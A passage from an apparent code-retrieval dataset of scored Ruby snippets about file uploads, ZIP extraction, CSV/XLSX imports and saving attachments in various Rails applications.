\telse\n\n\n\t\t\t\t\t# file lines (Split lines by \\n)\n\t\t\t\t\tcontents.split(\"\\n\").each do |line| \n\t\t\t\t\t\tline_number += 1 \n\n\t\t\t\t\t\t#- Process only after the first line\n\t\t\t\t\t\tif line_number > 1 # \n\n\t\t\t\t\t\t\titems = line.split(\"\\t\") #Split text by \\t (TAB) to get cols\n\n\t\t\t\t\t\t\tenable_to_register = true # default value \n\n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\tif items[2].to_s.index(\",\") \n\t\t\t\t\t\t\t\t@errors_log << set_log_line(line_number, \"O valor deve ter . (ponto) como separador decimal.\") \n\t\t\t\t\t\t\t\tenable_to_register = false\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t \n\n\t\t\t\t\t\t\t#- check consistency of cols\n\t\t\t\t\t\t\tif items.size != 6\n\t\t\t\t\t\t\t\t@errors_log << set_log_line(line_number, \"Verifique as colunas desta linha.\") \n\t\t\t\t\t\t\t\tenable_to_register = false\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t#- check consistency of cols types numbers\n\t\t\t\t\t\t\t\tunless (items[2].to_d > 0 and items[3].to_i > 0)\n\t\t\t\t\t\t\t\t\t@errors_log << set_log_line(line_number, \"Verifique os campos numéricos\") \n\t\t\t\t\t\t\t\t\tenable_to_register = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\n\n\t\t\t\t\t\t\t#-- check if exists\n\t\t\t\t\t\t\tif enable_duplicity == 0 and enable_to_register\n\t\t\t\t\t\t\t\texists = Sale.where(price: items[2].to_d, amount: items[3].to_i, description: items[1].to_s, buyer: items[0].to_s).first\n\t\t\t\t\t\t\t\tif exists\n\t\t\t\t\t\t\t\t\t@errors_log << set_log_line(line_number, \"Esta venda já foi inserida\") \n\t\t\t\t\t\t\t\t\tenable_to_register = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend \n\n\n\t\t\t\t\t\t\t# if the enable_to_register is true, try create a new sale\n\t\t\t\t\t\t\tif enable_to_register \n\n\t\t\t\t\t\t\t\tsale = Sale.new\n\t\t\t\t\t\t\t\tsale.buyer = items[0].to_s \n\t\t\t\t\t\t\t\tsale.description = items[1].to_s\n\t\t\t\t\t\t\t\tsale.price = items[2].to_d\n\t\t\t\t\t\t\t\tsale.amount = items[3].to_i\n\t\t\t\t\t\t\t\tsale.address = items[4].to_s\n\t\t\t\t\t\t\t\tsale.provider = items[5].to_s\n\n\t\t\t\t\t\t\t\tunless sale.save \n\t\t\t\t\t\t\t\t\tmsg = \"\"\n\t\t\t\t\t\t\t\t\tsale.errors.full_messages.each do |message| \n\t\t\t\t\t\t\t\t\t\t msg << \"<br />\" if msg != \"\"\n\t\t\t msg << message\n\t\t\t end \n\t\t\t @errors_log << set_log_line(line_number, msg.html_safe) \n\t\t\t\t\t\t\t\tend \n\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\tend\n\n\n\t\t\t\t\t\tend \n\t\t\t\t end \n\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\t@errors_log << set_log_line(0, \"O arquivo precisa estar no fromato TXT.\" )\n\t\t\tend \n\n\t\tend\n\n end", "title": "" }, { "docid": "879ae6b8efa48e5d09d69d408fe8950a", "score": "0.5525551", "text": "def save_file\n if !@image_file\n return true\n end\n \n if @image_file.content_type.slice(0,5) != 'image'\n return false\n end\n\n # Bilddatei save\n if !save_uploaded_file(@image_file, 'images', self.image)\n return false\n end\n true\n end", "title": "" }, { "docid": "37ad739c5a2c17a6929a539e5aa30fca", "score": "0.5498832", "text": "def persists_file_paths_as_strings?\n \n persists_file_paths_as_strings = nil\n \n persists_file_paths_as_strings = super\n \n if persists_file_paths_as_strings.nil?\n persists_file_paths_as_strings = instance_persistence_bucket.persists_file_paths_as_strings?\n end\n \n return persists_file_paths_as_strings\n \n end", "title": "" }, { "docid": "f4b791388ea6d12a47dc0a78d3b90148", "score": "0.54719514", "text": "def fully_uploaded?(file_url)\n true\n end", "title": "" }, { "docid": "54aa02b1482134499e54a2df3c3713fa", "score": "0.5456263", "text": "def raw_format_okay?\n begin\n inspector = RVideo::Inspector.new :file => uploaded_file_path\n duration = inspector.duration\n save! and return true\n rescue ArgumenError => e\n \t return false\n end\n end", "title": "" }, { "docid": "7c8b81e56848fa89ac7af789b37f593c", "score": "0.5453267", "text": "def upload_or_copy\n media.upload_or_copy if media\n true\n end", "title": "" }, { "docid": "07e2f04a0feb0fae343a1204b1925964", "score": "0.5446747", "text": "def save_attachment?\n File.file?(temp_path.class == String ? temp_path : temp_path.to_filename)\n end", "title": "" }, { "docid": "361baec3668f013657cef37bff47fbc3", "score": "0.54401815", "text": "def ensure_complete_upload! \n mods = file_hash[:mods] \n tei = file_hash[:tei]\n tfc = file_hash[:tfc]\n teibp = file_hash[:teibp]\n tapas_generic = file_hash[:tapas_generic]\n\n unless mods && tei && tfc && teibp && tapas_generic\n raise \"Could not create a new Core File using the zipped content!\" \\\n \" Mods file found at #{mods || 'NOT FOUND'},\" \\\n \" TEI file found at #{tei || 'NOT FOUND'},\" \\\n \" TFC file found at #{tfc || 'NOT FOUND'}\"\n end \n end", "title": "" }, { "docid": "cc857386d49af0c07408fa8faa0137eb", "score": "0.5437864", "text": "def file?\n !original_filename.blank?\n end", "title": "" }, { "docid": "847e4f48c9c3a53f96c03752eb648552", "score": "0.54358333", "text": "def is_upload?\n action_type == UPLOAD_ACTION\n end", "title": "" }, { "docid": "129cb503bc54f091b0ec168787084d00", "score": "0.54252607", "text": "def convert!\n \n begin\n \n # Unzip the uploaded file\n uploaded_zip = tempfile\n unzip_dir = Dir.mktmpdir\n asset_files = []\n \n Zip::ZipFile.open( uploaded_zip.path ) do |zip_file|\n zip_file.each do |asset|\n output_path = File.join( unzip_dir, asset.name )\n FileUtils.mkdir_p( File.dirname( output_path ) )\n zip_file.extract( asset, output_path ) unless File.exist?( output_path )\n asset_files << File.new( output_path )\n end\n end\n \n # Process the asset files to remove directories and dotfiles\n asset_files = asset_files.select{|f| !(File.directory?(f)) && !( File.basename(f.path) =~ /^\\./ ) }\n \n rescue\n errors.add( :upload, \"could not be processed. Is it a valid ZIP file?\" )\n return false\n end\n \n # Create a new folder for the assets\n unless (new_asset_folder = AssetFolder.new( :name => self.title, :parent_id => self.asset_folder_id )).save\n errors.add( :asset_folder, \"could not be created. Has the title already been used?\" )\n return false\n end\n \n # Create assets using the unzipped files\n assets = []\n asset_files.each do |asset_file|\n \n # Get the MIME type of the file\n mime_type = MIME::Types::type_for( asset_file.path )[0].simplified rescue \"application/octet-stream\"\n \n # Use the filename as the title\n fname = File.basename(asset_file.path, File.extname(asset_file.path) )\n \n asset = Asset.new( \n :title => fname, :caption => self.caption, :credit => self.credit,\n :user_id => self.user_id, :asset_folder_id => new_asset_folder.id\n )\n asset.asset = asset_file\n asset.asset_content_type = mime_type\n assets << asset\n end\n \n # Did we find assets?\n if assets.empty?\n new_asset_folder.destroy\n errors.add( :upload, \"did not contain any valid asset files. Please check the contents of the ZIP.\" )\n return false\n end\n \n # If they are all valid, we are done\n assets.each(&:save)\n \n # Were there any errors?\n if assets.map{|a| a.errors.length }.all?{|e| e > 0 }\n new_asset_folder.destroy\n errors.add( :upload, \"contained no valid asset files. Please check the contents of the ZIP.\" )\n return false \n else\n # Some errors maybe, but at least one asset was okay, so we're good\n return true\n end\n \n end", "title": "" }, { "docid": "c02f1175e44ec20f90063f8b1cc92909", "score": "0.54217464", "text": "def save\n if valid?\n log(\"Saving files for #{name}\")\n flush_deletes\n flush_writes\n @dirty = false\n true\n else\n log(\"Errors on #{name}. Not saving.\")\n flush_errors\n false\n end\n end", "title": "" }, { "docid": "4703a427d6e871fc4654687a60c11ab0", "score": "0.54060537", "text": "def has_upload?\n @record.uploaded_file && File.exist?(@record.uploaded_file.path)\n end", "title": "" }, { "docid": "8e895e7c5b5e939bfe515d3fd988bb70", "score": "0.54036665", "text": "def process_upload_files_without_error?(params)\n\n successful = true\n\n if (uploaded_files = params['uploaded_file'])\n\n uploaded_files['actual_files']&.each do |uploaded_file|\n\n # An admin might be uploading a file for a users's application.\n # The uploaded file should belong_to the user, not the admin.\n @uploaded_file = @shf_application.uploaded_files.create(actual_file: uploaded_file,\n user: @shf_application.user)\n\n if @uploaded_file.valid?\n helpers.flash_message(:notice, t('shf_applications.uploads.file_was_uploaded',\n filename: @uploaded_file.actual_file_file_name))\n successful = successful & true\n else\n @shf_application.uploaded_files.delete(@uploaded_file)\n helpers.flash_message :alert, @uploaded_file.errors.messages.values.uniq.flatten.join(' ')\n successful = successful & false\n end\n\n end\n end\n\n successful\n end", "title": "" }, { "docid": "7d68da6725f33c4ab8679b42d97b831d", "score": "0.54027116", "text": "def saved?\n @url.present? && @name.present? && @name == File.basename(@url) && @name.start_with?(\"tfss\")\n end", "title": "" }, { "docid": "96104a436966bd2cd68fc9ec5ddb2aab", "score": "0.54004574", "text": "def uploaded_file\n unless self.batch == true\n if self.file != \"\"\n self.file_name_all = sanitize_fn(file.original_filename)\n self.file_name_base = file_name_all.split('.')[0]\n self.extension = file_name_all.split('.')[1]\n self.content_type = file.content_type.strip\n zip_url = \"#{Z_URL}/zips/#{file_name_all}\"\n write_attribute(\"zip_url\", zip_url)\n write_attribute(\"z_name\", file_name_base)\n end\n end\n end", "title": "" }, { "docid": "5cf09a3b95f81b28864d6ab17ab19dd5", "score": "0.5384988", "text": "def file_uploaded_during_right_time?\n return false if uploaded_files.blank?\n\n # The STATE_ constants below are defined by the AASM gem based on the states defined\n case membership_status\n when STATE_CURRENT_MEMBER\n file_uploaded_during_this_membership_term?\n when STATE_IN_GRACE_PERIOD, STATE_FORMER_MEMBER\n file_uploaded_on_or_after?(membership_last_day + 1.day)\n when STATE_NOT_A_MEMBER\n !uploaded_files.blank?\n else\n false\n end\n end", "title": "" }, { "docid": "314b357e35783d4eaf1444df40412bda", "score": "0.53782403", "text": "def check file\n unless ::File.exists? file.full_path\n Logger.<<(__FILE__,\"ERROR\",\"Decoder::decode File does not exists #{file.full_path}\")\n abort\n end\n if file.zip?\n res =file.unzip!\n unless res\n Logger.<<(__FILE__,\"ERROR\",\"Decoder:: unzip file error #{file.name}\")\n return false\n end\n end\n return true\n end", "title": "" }, { "docid": "a1ae45fe8026b879245dc811934c8409", "score": "0.53704685", "text": "def save\n if valid?\n write\n stage\n commit\n push\n else\n false\n end\n end", "title": "" }, { "docid": "3efde746a7b30fc72c63463e085c64e2", "score": "0.53677356", "text": "def safe_upload_string_compare\n filename = params[:filename]\n if filename == \"safefile.tar\"\n untar params[:file], filename\n end\n end", "title": "" }, { "docid": "2260ae2e6aad5161a599ad4b4df362c8", "score": "0.5366492", "text": "def allows_upload?\n return true\n end", "title": "" }, { "docid": "e6b6fb3a7a6684dc591d1775153fd3d4", "score": "0.536277", "text": "def validate_import_file(data)\n begin\n import_filetype_detect(data)\n rescue Msf::DBImportError\n return false\n end\n return true\n end", "title": "" }, { "docid": "d894ebf39329ddab315c3ebba7a748d6", "score": "0.5357172", "text": "def start_upload\n no_error = true # This is the value we expect from each of the following methods\n\n # Upload inspection\n no_error = upload_inspection\n\n # Upload inspection items\n no_error = upload_inspection_items if no_error\n\n # Upload inspection item photos\n no_error = upload_inspection_item_photo_to_remote if no_error\n\n no_error = upload_inspection_item_photos if no_error\n\n # Finalize inspection\n finalize_inspection if no_error\n end", "title": "" }, { "docid": "7473ec74bada1fc8fb1a477b0df88ed0", "score": "0.53557295", "text": "def save_file(upload_file, filename)\n full_path_to_file = settings.upload_folder + '/' + filename\n File.open(full_path_to_file, \"w\") do |f|\n f.write(upload_file[:tempfile].read)\n end\n \n File.file?(full_path_to_file) ? true : false\n end", "title": "" }, { "docid": "9fa789bb8760215ac3bbb21e5a70ee4f", "score": "0.53532445", "text": "def has_upload?\n !self.filename.blank?\n end", "title": "" }, { "docid": "f1286a3359ec631bdb3f3607504878c6", "score": "0.53517514", "text": "def save\n if valid?\n flush_deletes \n flush_writes\n @dirty = false\n\n enqueue_process_job if status == UPLOADED\n\n true\n else\n flush_errors\n false\n end\n end", "title": "" }, { "docid": "a463685f8ec0cd88e55e0cb172a56783", "score": "0.53511256", "text": "def pass?\n not @path.exist? ? @path.mime_type.nil? : @path.variants?\n end", "title": "" }, { "docid": "b5ef8a7cc51d1ba8694a83d8b44858e8", "score": "0.5340836", "text": "def save_if_necessary\n saved_filename = FilePath.new(@testrun_directory, SAVED_FILENAME)\n \n if TESTRUN_RECORD_MARSHALLING_ENABLED\n unless @valid_on_disk\n File.open(saved_filename.to_s, \"w\") do |file|\n begin\n @valid_on_disk = true\n Marshal.dump(self, file)\n puts \"Saved test run record to '%s'.\" % saved_filename.to_s\n rescue => e\n @valid_on_disk = false\n puts :warn, \"Attempted to save test run record to '%s', but got an exception: %s\" % [ saved_filename.to_s, e.to_s ]\n end\n end\n end\n end\n end", "title": "" }, { "docid": "7a207be94bd1b71e903d24152263dc25", "score": "0.5339666", "text": "def saved?\n File.exists?(File.join(@base, \"#{@file_name}.md\")) ? true : false\n end", "title": "" }, { "docid": "884c2853cf4def0599789eceb75c0096", "score": "0.5339197", "text": "def path_ok?\n \t\t\tFile.exists?(self.file_path)\n \t\tend", "title": "" }, { "docid": "19d3c5ae7fee61f96cdf7f2030738384", "score": "0.5336747", "text": "def save_attachment?\n File.file?(temp_path.to_s)\n end", "title": "" }, { "docid": "d3460d8ae5129a7d34576e07766cfe38", "score": "0.53345615", "text": "def file_saved?\n raise \"Subclass needs to implement this\"\n end", "title": "" }, { "docid": "f799568680dca71464e8bc3189cf6d27", "score": "0.53253967", "text": "def dc_before_save\n return if @record.size_o.present? || !params[:upload_file]\n\n input_file_name = params[:upload_file].original_filename\n type = File.extname(input_file_name).to_s.downcase.gsub('.', '').strip\n unless %w(jpg jpeg png gif svg webp).include?(type)\n flash[:error] = t 'drgcms.dc_image.wrong_type'\n return false\n end\n name = File.basename(input_file_name)\n path = File.dirname(params[:upload_file].tempfile)\n\n @record.img_type = dc_get_site.params.dig('dc_image', 'img_type') || type\n @record.short = File.basename(input_file_name, '.*') if @record.short.blank?\n @record.name = File.join(path, name)\n FileUtils.mv(params[:upload_file].tempfile, @record.name, force: nil)\nend", "title": "" }, { "docid": "5dd873d5e3d23c6542577084607637fb", "score": "0.5320819", "text": "def handle_file_upload(overrides = {})\n # Clear the cache if indicated but not for an add or delete\n clear_resource_items if overrides[:clear_cache]\n\n initialise_fileupload_variables\n\n # If adding files then the below will create entries in the resource_items_hash\n # from the requests parameters.\n add_or_delete_files(overrides)\n\n # Add or delete files will have created items in the hash if they were uploaded (or are missing)\n # We call again after validation to make sure we have all the expected file types in the list\n # so the screen shows the expected file types\n initialise_resource_items_hash(overrides)\n\n return false unless params[:add_resource] || params[:delete_resource]\n\n # update data in cache\n session_cache_data_save(@resource_items, file_upload_session_key)\n true\n end", "title": "" }, { "docid": "f9733980f58f75c951ea34254f0638f4", "score": "0.5316445", "text": "def call\n uploaded_file = shrine_class.uploaded_file(storage: upload_storage, id: upload_location)\n uploaded_file if uploaded_file.exists?\n end", "title": "" }, { "docid": "451a5cf95d895b46b07d0924165b5581", "score": "0.5313518", "text": "def file_ready?(path, import)\n File.file?(path) && File.readable?(path) && !File.zero?(path) &&\n !(File.basename(path) =~ /\\.in.*/) && (import.try(:active_publisher?) || active?(path))\n end", "title": "" }, { "docid": "f5dffcd7210ffccdd7a078e24b649395", "score": "0.5307927", "text": "def can_upload?\n self.assigned? || self.error?\n end", "title": "" }, { "docid": "c64e2e505a4c75a51af31a1cbfdc1a32", "score": "0.5306568", "text": "def validate_uploaded_files_path\n err = {}\n GlobalConstant::EntityGroupDraft.theme_entity_type == @entity_type &&\n [GlobalConstant::CmsConfigurator.company_logo_key,\n GlobalConstant::CmsConfigurator.company_favicon_key].each do |key|\n asset_url = @store_data[key.to_sym].to_s.gsub(cloudfront_domain_prefix, \"\")\n if asset_url.present?\n if asset_url.match(AdminManagement::CmsConfigurator::GetUploadParams::CLIENT_ASSET_FILE_PATH_REGEX).blank?\n err[key.to_sym] = \"Filepath is invalid.\"\n next\n end\n @store_data[key.to_sym] = cloudfront_domain_prefix + asset_url\n end\n end\n err\n end", "title": "" }, { "docid": "4f8ff2472ef48f51c12a97e410ec4654", "score": "0.53061545", "text": "def maybe_hidden_file?(path); end", "title": "" }, { "docid": "4f8ff2472ef48f51c12a97e410ec4654", "score": "0.53061545", "text": "def maybe_hidden_file?(path); end", "title": "" }, { "docid": "7b831d3f6b8ad702b8a2eaa9463af381", "score": "0.5302292", "text": "def check_existence_upload_file_and_wait data_dir,file_name,content_type,cbrain_type,cbrain_data_provider_id\n\n absolute_file_name = File.join(data_dir,file_name)\n raise \"!! File does not exist: #{absolute_file_name}\" unless File.exist?(absolute_file_name)\n userfiles = index_userfiles({:data_provider_id => cbrain_data_provider_id, :name => file_name})\n # Redo the call a second time, just in case (see API bug #5)\n userfiles = index_userfiles({:data_provider_id => cbrain_data_provider_id, :name=>file_name})\n if userfiles.size > 1\n puts \"!! Found the following file ids with name #{file_name} on data provider #{cbrain_data_provider_id}:\"\n userfiles.each do |f|\n puts \"!! #{f[:id]}\"\n end\n raise \"!! Found more than 1 file with name #{file_name} on data provider #{cbrain_data_provider_id}\" \n end\n \n if !userfiles.empty? # file exists\n return userfiles[0][:id] if @overwrite_none # file exists and no file must be overwritten: do nothing. \n overwrite = @overwrite_all ? true : ask_overwrite(userfiles[0][:name],userfiles[0][:id])\n return userfiles[0][:id] if !overwrite # file exists and file mustn't be overwritten: do nothing.\n puts \"-- Deleting file #{userfiles[0][:name]} with id #{userfiles[0][:id]}...\" # delete file and fall into the \"file doesn't exist case\"\n delete_userfiles(userfiles[0][:id])\n end\n\n # File doesn't exist: upload it\n puts \"++ Uploading file #{file_name} (#{File.size(absolute_file_name)} bytes)...\"\n params = { :data_provider_id => cbrain_data_provider_id,\n :archive => \"save\",\n :file_type => cbrain_type,\n \"userfile[group_id]\" => 1, # everyone\n \"userfile[group_writable]\" => false,\n }\n \n response = create_userfile(\n absolute_file_name,\n content_type,\n params)\n puts \"#{response}\" if !response.nil? && !response==\"\"\n\n # Check that the file is in CBRAIN and wait for the synchronization status to be \"InSync\"\n userfiles = index_userfiles({:data_provider_id => cbrain_data_provider_id, :name=>file_name})\n # Redo the call a second time, just in case (see API bug #5)\n userfiles = index_userfiles({:data_provider_id => cbrain_data_provider_id, :name=>file_name})\n raise \"!! Cannot find file with name #{file_name} on data provider #{cbrain_data_provider_id}\" if userfiles.empty?\n raise \"!! Found more than 1 file with name #{file_name} on data provider #{cbrain_data_provider_id}\" if userfiles.size > 1\n print \".. Waiting for file #{file_name} to be synchronized\"\n begin\n sleep 1\n userfile_info = show_userfile(userfiles[0][:id])\n if userfile_info.blank? or userfile_info[:remote_sync_status].blank? or userfile_info[:remote_sync_status].empty?\n print \"x\"\n next\n end\n status = userfile_info[:remote_sync_status][0][:status]\n print \".\"\n end while status != \"InSync\"\n puts \"\"\n \n return userfiles[0][:id]\n end", "title": "" }, { "docid": "9e4f5a09cbe01d99b552a38b1ca54374", "score": "0.5301839", "text": "def file?\n true\n end", "title": "" }, { "docid": "978863bd75a796ae244c2538748882ad", "score": "0.53008646", "text": "def check_file_type_and_import(path, single_transaction=true, verbose=false, save_row_method_name=:save_row_data)\n \tif File.exists?(path)\n \tif File.extname(path) == \".csv\"\n \tputs \"CSV file found at '#{path.to_s}'.\".light_black if verbose\n \tself.import_from_csv(path.to_s, single_transaction, verbose, save_row_method_name)\n elsif File.extname(path) == \".xlsx\"\n \tputs \"XSLX file found at '#{path.to_s}'.\".light_black if verbose\n \tself.import_from_xslx(path.to_s, single_transaction, verbose, save_row_method_name)\n else\n \tputs \"Unsupported File encountered'#{path.to_s}'.\".light_red if verbose\n \treturn\n end\n else\n puts \"Import File not found at '#{path.to_s}'.\".red if verbose\n end\n end", "title": "" }, { "docid": "e54fec95f63b850ba0be3a123fede12b", "score": "0.529425", "text": "def import!\n begin\n fs = File.size(@path)\n if fs.to_i == 0\n @data_import.set_error_code(1005)\n @data_import.log_error(\"File contains no information, check it locally\" )\n raise \"File contains no information, check it locally\"\n elsif @remaining_quota < (0.3*fs)\n disk_quota_overspend = (File.size(@path) - @remaining_quota).to_int\n @data_import.set_error_code(8001)\n @data_import.log_error(\"#{disk_quota_overspend / 1024}KB more space is required\" )\n raise CartoDB::QuotaExceeded, \"#{disk_quota_overspend / 1024}KB more space is required\"\n end\n\n errors = Array.new\n suggested = @suggested_name.nil? ? get_valid_name(File.basename(@original_name,@ext).tr('.','_').downcase.sanitize) : @suggested_name\n\n\n # All imports start with only one file, so 'import_data' is an array of\n # on length = 1\n import_data = [{\n :ext => @ext,\n :path => @path,\n :suggested_name => suggested\n }]\n\n # A record of all file paths for cleanup\n @entries << @path\n\n # TODO: A Zip -> KMZ/Zip will fail because it wont know \n # how to go back and do the Decompressor stage again\n decompressor = decompressor_for(@ext)\n import_data = decompressor.process! if decompressor\n\n @data_import.log_update('file unzipped') if import_data\n @data_import.reload\n\n # Preprocess data and update self with results\n # preprocessors are expected to return a hash datastructure\n\n processed_imports = Array.new\n import_data.each do |data|\n @entries << data[:path]\n @working_data = data\n @working_data[:suggested_name] = get_valid_name(@working_data[:suggested_name])\n preprocessor = preprocessor_for(data.fetch(:ext))\n @data_import.refresh\n\n if preprocessor\n begin\n out = preprocessor.process!\n\n # Return raw data if preprocessor returns false\n # For example: we don't want to run JSON preprocessor\n # on GEOJSON files\n if out == false\n processed_imports << data\n else\n out.each { |d| processed_imports << d }\n @data_import.log_update('file preprocessed')\n end\n rescue\n @data_import.reload\n errors << OpenStruct.new(\n description: @data_import.get_error_text[:title],\n stack: @data_import.get_error_text[:what_about],\n code: @data_import.error_code\n )\n end\n else\n processed_imports << data\n end\n end\n\n # Load data in\n payloads = Array.new\n processed_imports.each do |data|\n @entries << data[:path]\n @working_data = data\n # re-check suggested_name in the case that it has been taken by another in this import\n @working_data[:suggested_name] = @suggested_name.nil? ? get_valid_name(@working_data[:suggested_name]) : get_valid_name(@suggested_name)\n @data_path = data[:path]\n\n loader = loader_for(data.fetch(:ext))\n\n if !loader\n puts '=============== Setting 1002 error code'\n puts data.fetch(:ext)\n @data_import.log_update(\"no importer for this type of data, #{@ext}\")\n @data_import.set_error_code(1002)\n else\n begin\n\n out = loader.process!\n\n out.each { |d| payloads << d }\n @data_import.log_update(\"#{data[:ext]} successfully loaded\")\n rescue => e\n @data_import.reload\n errors << OpenStruct.new(\n description: @data_import.get_error_text[:title],\n stack: @data_import.log_json,\n code: @data_import.error_code\n )\n end\n end\n end\n\n # Check if user is over table quota, raise the appropiate error\n @data_import.raise_error_if_over_quota payloads.length\n\n @data_import.refresh\n\n # Flag the data import as failed when no files were imported,\n # save imported table names otherwise\n if payloads.length > 0\n @data_import.tables_created_count = payloads.size\n @data_import.table_names = payloads.map(&:name).join(',')\n @data_import.log_update(\"#{payloads.size} tables imported\")\n else\n @data_import.failed\n end\n\n @data_import.save\n return [payloads, errors]\n rescue => e\n puts e\n @data_import.refresh\n drop_created_tables payloads.map(&:name)\n raise e\n ensure\n @db_connection.disconnect\n cleanup_disk\n if @import_from_file.is_a?(File) && File.file?(@import_from_file.path)\n File.unlink(@import_from_file)\n elsif @import_from_file.is_a? Tempfile\n @import_from_file.unlink\n end\n @data_import.save if @data_import\n end\n end", "title": "" }, { "docid": "1434a07053850cac7278b2e3999a6164", "score": "0.5293488", "text": "def prepare_for_conversion\n if !File.exists?(uploaded_path) && !File.exists?(temp_path)\n raise Error.new( \"at least one between uploaded_path and temp_path must exist\", \n temp_path: temp_path, uploaded_path: uploaded_path)\n end\n\n FileUtils.mkdir_p temp_folder unless Dir.exists? temp_folder\n\n # If temp_path already exists, I assume that someone has already processed it before;\n # so I use it (I use it as cache)\n FileUtils.mv uploaded_path, temp_path unless File.exists? temp_path\n\n FileUtils.mkdir_p output_folder unless Dir.exists? output_folder\n\n @prepare_for_conversion = true\n end", "title": "" }, { "docid": "b2314811f9c00bdb38d202cfcdac8787", "score": "0.5288192", "text": "def valid?\n if external?\n File.file? external_path\n else\n @language.to_s.size == 2 and File.file? internal_path\n end\n end", "title": "" }, { "docid": "e83db45a1d24ff6acab1f7c054e5b30c", "score": "0.52836645", "text": "def save_image_files\r\n # set the final names\r\n self.file_full_size_name = \"#{file_base_name}_full.#{OUTPUT_EXT}\"\r\n self.file_thumbnail_name = \"#{file_base_name}_thumb.#{OUTPUT_EXT}\"\r\n self.file_minithumb_name = \"#{file_base_name}_mini.#{OUTPUT_EXT}\"\r\n self.file_mid_size_name = \"#{file_base_name}_mid.#{OUTPUT_EXT}\"\r\n\r\n # now generate the files into the new directory\r\n convert_success = convert_all\r\n\r\n # returning false here will abort the save attempt\r\n if (!convert_success)\r\n add_upload_error_message\r\n logger.info(\"Photo file conversion failed\")\r\n delete_cgi_temp_file\r\n destroy_image_files\r\n return false\r\n end\r\n\r\n self.source = Source[\"user\"]\r\n delete_cgi_temp_file\r\n end", "title": "" }, { "docid": "80bced1916edce4b609e812a99e5ac05", "score": "0.5278149", "text": "def upload(remote_path, content)\n return false\n end", "title": "" }, { "docid": "3c87cca1f4fd66ad6c12c2b5bcadc342", "score": "0.52724123", "text": "def upload_files_by_rsync?\n @upload_files_by_rsync ||= fetch(:net_storage_upload_files_by_rsync, false)\n end", "title": "" }, { "docid": "bfd0c1192ef4456a7c34273ea040c0d6", "score": "0.5268267", "text": "def upload_to_scribd\n if scribdable? and self.scribd_id.blank?\n with_file_path do |file_path|\n if resource = scribd_login.upload(:file => \"#{file_path}\",\n :access => access_level)\n logger.info \"[Scribd_fu] #{Time.now.rfc2822}: Object #{id} successfully uploaded for conversion to iPaper.\"\n\n self.scribd_id = resource.doc_id\n self.scribd_access_key = resource.access_key\n\n save\n else\n logger.info \"[Scribd_fu] #{Time.now.rfc2822}: Object #{id} upload failed!\"\n end\n end\n end\n end", "title": "" }, { "docid": "64948e6663e1f93ec6b8e5b79f5c445e", "score": "0.5263729", "text": "def upload\n unless self.content.nil? #content attribute refers to raw_data to be uploaded\n metadata = self.cloud_api.upload(self)\n self.set_metadata(metadata)\n else\n false\n end\n end", "title": "" }, { "docid": "9a6b5f5daab8eeac6868338ba0e47a68", "score": "0.52623063", "text": "def complete?\n super && file_valid? && metadata_valid?\n end", "title": "" }, { "docid": "51720f96e4765156bb16ec4e54abf6f9", "score": "0.5259737", "text": "def uploaded?(uploaded_file)\n uploaded_file.storage_key == storage_key.to_s\n end", "title": "" }, { "docid": "68ba6512df25f3171a801e404317e85c", "score": "0.5258524", "text": "def save\n res = Agent.post(\"http://stashbox.org/manage_file/\"<<@stashboxid,{\n :tags => @tags * \" \",\n :meta_title => @title,\n :meta_description => @description,\n :is_nsfw => !@sfw,\n :is_public => @public\n })\n \n raise RuntimeError, \"You don't have permission to edit this file\" if res.body =~ /don't have permission/\n \n return res.code == \"200\"\n end", "title": "" }, { "docid": "785b4aac44613d81e1470671f24283d5", "score": "0.52573025", "text": "def save\n response = RestClient.post(\"#{@base_path}/applications/#{@app_key}/hes_files\", {:hes_file => {:slug => self.slug, :file_type => self.content_type, :parent_model => @parent_model, :file => @file, :folder_path => @folder_path}})\n\n hes_cloud_file = JSON.parse(response)\n\n @path = hes_cloud_file[\"file\"][\"url\"]\n @path.gsub!('http', 'https') if HesCloudStorage.configuration[:use_ssl]\n @id = hes_cloud_file[\"id\"]\n @content_type = hes_cloud_file[\"content_type\"]\n @slug = hes_cloud_file[\"slug\"]\n @parent_model = hes_cloud_file[\"parent_model\"]\n @folder_path = hes_cloud_file[\"folder_path\"]\n @file = nil\n\n true\n # rescue\n # raise HesCloudFileError.new(\"Saving file to HES Cloud was not successful <#{self.inspect}>\")\n end", "title": "" }, { "docid": "80b9be0fa63fbc5a210510908d94b287", "score": "0.52554196", "text": "def convert_as_foto?\n return false if original_filename.nil?\n original_filename.include? \"foto\"\n end", "title": "" }, { "docid": "4395ea235715977b43787880b9a8c9c5", "score": "0.5253411", "text": "def file_has_virus?\n path = original_file.is_a?(String) ? original_file : local_path_for_file(original_file)\n system_virus_scanner.infected?(path)\n end", "title": "" }, { "docid": "6fc9352cd88eee6d50c90cc4c6b36404", "score": "0.5250021", "text": "def execute_excel_upload\n \n\t\t\tif @dry_run\n\t\t\t @success_messages << \"File passed all validations.\"\n\t\t\t @success_messages << \"#{@students.count} students will be created.\"\n\t\t\telse \n # Iterate through all students and save them.\n @students.each_with_index do |student,index|\n \t if !student.save\n\t\t\t\t @error_messages << \"Failed to save student with email:\" + student.email\n\t\t\t\t\t\tstudent.errors.full_messages.each do |message|\n\t\t\t\t\t\t\t@error_messages << \"#{message}\"\n\t\t\t\t\t\tend\t\t\t\t\t\t\n\t\t\t\t\t\troll_back_created_students(index)\n\t\t\t\t return false\n\t\t\t\t end \n end\n end\n\n\t\t\t\n\t\t\t@success_messages << \"#{@students.count} students created successfully.\"\n return true\n \n end", "title": "" }, { "docid": "d74d982d006e97ec0fb20f62d770e2b5", "score": "0.52499366", "text": "def file?\n File.file? @path\n end", "title": "" }, { "docid": "284115bd7372adb04754b084389c0838", "score": "0.52447903", "text": "def do_file_import\n path_to_final_save_location = nil\n import_file_sha256_hexdigest = nil\n import_file_size = nil\n\n convert_upload_import_to_internal!\n\n # Generate checksum using 4096-byte buffered approach (to keep memory usage low for large files)\n # If this is an internal file, also copy the file to its internal destination\n File.open(@import_file_import_path, 'rb') do |import_file| # 'r' == write, 'b' == binary mode\n import_file_size = import_file.size\n\n copy_results = copy_and_verify_file(import_file)\n\n path_to_final_save_location = copy_results[0]\n import_file_sha256_hexdigest = copy_results[1]\n end\n # At this point, there is a file at path_to_final_save_location and\n 